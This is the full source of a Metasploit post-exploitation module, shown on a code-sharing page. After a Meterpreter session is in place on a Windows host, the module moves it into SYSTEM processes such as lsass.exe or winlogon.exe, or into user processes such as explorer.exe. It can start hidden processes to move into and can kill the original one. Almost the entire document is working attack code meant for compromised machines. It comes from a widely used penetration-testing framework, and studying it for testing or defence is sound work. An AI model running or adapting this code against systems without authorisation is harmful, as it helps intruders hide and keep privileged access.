Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/priv_migrate.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
9
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
10
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Manage Privilege Based Process Migration ',
17
'Description' => %q{
18
This module will migrate a Meterpreter session based on session privileges.
19
It will do everything it can to migrate, including spawning a new User level process.
20
For sessions with Admin rights: It will try to migrate into a System level process in the following
21
order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
22
If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
23
It will try to migrate to a user level process, if that fails it will attempt to spawn the process
24
then migrate to it. It will attempt the User level processes in the following order:
25
NAME (if specified), explorer.exe, then notepad.exe.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
30
'theLightCosine'
31
],
32
'Platform' => ['win' ],
33
'SessionTypes' => ['meterpreter' ],
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
core_migrate
38
stdapi_sys_config_getuid
39
stdapi_sys_process_attach
40
stdapi_sys_process_execute
41
stdapi_sys_process_get_processes
42
stdapi_sys_process_kill
43
]
44
}
45
},
46
'Notes' => {
47
'Stability' => [CRASH_SERVICE_DOWN],
48
'SideEffects' => [],
49
'Reliability' => []
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
57
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
58
OptBool.new('KILL', [true, 'Kill original session process.', false]),
59
OptBool.new('NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
60
]
61
)
62
end
63
64
def run
65
# Get current process information
66
@original_pid = client.sys.process.open.pid
67
@original_name = client.sys.process.open.name.downcase
68
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
69
unless migrate_admin
70
if is_admin? && !datastore['NOFAIL']
71
print_status('NOFAIL set to false, exiting module.')
72
return
73
end
74
migrate_user
75
end
76
end
77
78
# This function returns the first process id of a process with the name provided.
79
# It will make sure that the process has a visible user meaning that the session has rights to that process.
80
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
81
#
82
# @return [Integer] the PID if one is found
83
# @return [NilClass] if no PID was found
84
def get_pid(proc_name)
85
processes = client.sys.process.get_processes
86
processes.each do |proc|
87
if proc['name'].downcase == proc_name && proc['user'] != ''
88
return proc['pid']
89
end
90
end
91
return nil
92
end
93
94
# This function will try to kill the original session process
95
#
96
# @return [void] A useful return value is not expected here
97
def kill(proc_pid, proc_name)
98
if datastore['KILL']
99
begin
100
print_status("Trying to kill original process #{proc_name} (#{proc_pid})")
101
session.sys.process.kill(proc_pid)
102
print_good("Successfully killed process #{proc_name} (#{proc_pid})")
103
rescue ::Rex::Post::Meterpreter::RequestError => e
104
print_error("Could not kill original process #{proc_name} (#{proc_pid})")
105
print_error(e.to_s)
106
end
107
end
108
end
109
110
# This function attempts to migrate to the specified process.
111
#
112
# @return [TrueClass] if it successfully migrated
113
# @return [FalseClass] if it failed to migrate
114
def migrate(target_pid, proc_name, current_pid)
115
if !target_pid
116
print_error("Could not migrate to #{proc_name}.")
117
return false
118
end
119
120
print_status("Trying #{proc_name} (#{target_pid})")
121
122
if target_pid == current_pid
123
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
124
return true
125
end
126
127
begin
128
client.core.migrate(target_pid)
129
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
130
return true
131
rescue ::Rex::Post::Meterpreter::RequestError => e
132
print_error("Could not migrate to #{proc_name}.")
133
print_error(e.to_s)
134
return false
135
rescue ::Rex::RuntimeError => e
136
print_error("Could not migrate to #{proc_name}.")
137
print_error(e.to_s)
138
return false
139
end
140
end
141
142
# Attempts to migrate into one of the Target Admin Processes.
143
#
144
# @return [TrueClass] if it successfully migrated
145
# @return [FalseClass] if it failed to migrate
146
def migrate_admin
147
if is_admin?
148
# Populate target array and Downcase all Targets
149
admin_targets = DEFAULT_ADMIN_TARGETS.dup
150
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
151
admin_targets.map!(&:downcase)
152
153
if is_system?
154
print_status('Session is already Admin and System.')
155
if admin_targets.include? @original_name
156
print_good("Session is already in target process: #{@original_name}.")
157
return true
158
end
159
else
160
print_status('Session is Admin but not System.')
161
end
162
print_status('Will attempt to migrate to specified System level process.')
163
164
# Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.
165
admin_targets.each do |target_name|
166
if migrate(get_pid(target_name), target_name, @original_pid)
167
kill(@original_pid, @original_name)
168
return true
169
end
170
end
171
print_error('Unable to migrate to any of the System level processes.')
172
else
173
print_status('Session has User level rights.')
174
end
175
false
176
end
177
178
# Attempts to migrate to one of the Target User Processes
179
#
180
# @return [TrueClass] if it successfully migrated
181
# @return [FalseClass] if it failed to migrate
182
def migrate_user
183
# Populate Target Array and Downcase all Targets
184
user_targets = DEFAULT_USER_TARGETS.dup
185
user_targets.unshift(datastore['NAME']) if datastore['NAME']
186
user_targets.map!(&:downcase)
187
188
print_status('Will attempt to migrate to a User level process.')
189
190
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.
191
user_targets.each do |target_name|
192
if migrate(get_pid(target_name), target_name, @original_pid)
193
kill(@original_pid, @original_name)
194
return true
195
end
196
197
if migrate(spawn(target_name), target_name, @original_pid)
198
kill(@original_pid, @original_name)
199
return true
200
end
201
end
202
false
203
end
204
205
# This function will attempt to spawn a new process of the type provided by the name.
206
#
207
# @return [Integer] the PID if the process spawned successfully
208
# @return [NilClass] if the spawn failed
209
def spawn(proc_name)
210
print_status("Attempting to spawn #{proc_name}")
211
proc = session.sys.process.execute(proc_name, nil, { 'Hidden' => true })
212
print_good("Successfully spawned #{proc_name}")
213
return proc.pid
214
rescue ::Rex::Post::Meterpreter::RequestError => e
215
print_error("Could not spawn #{proc_name}.")
216
print_error(e.to_s)
217
return nil
218
end
219
end
220
221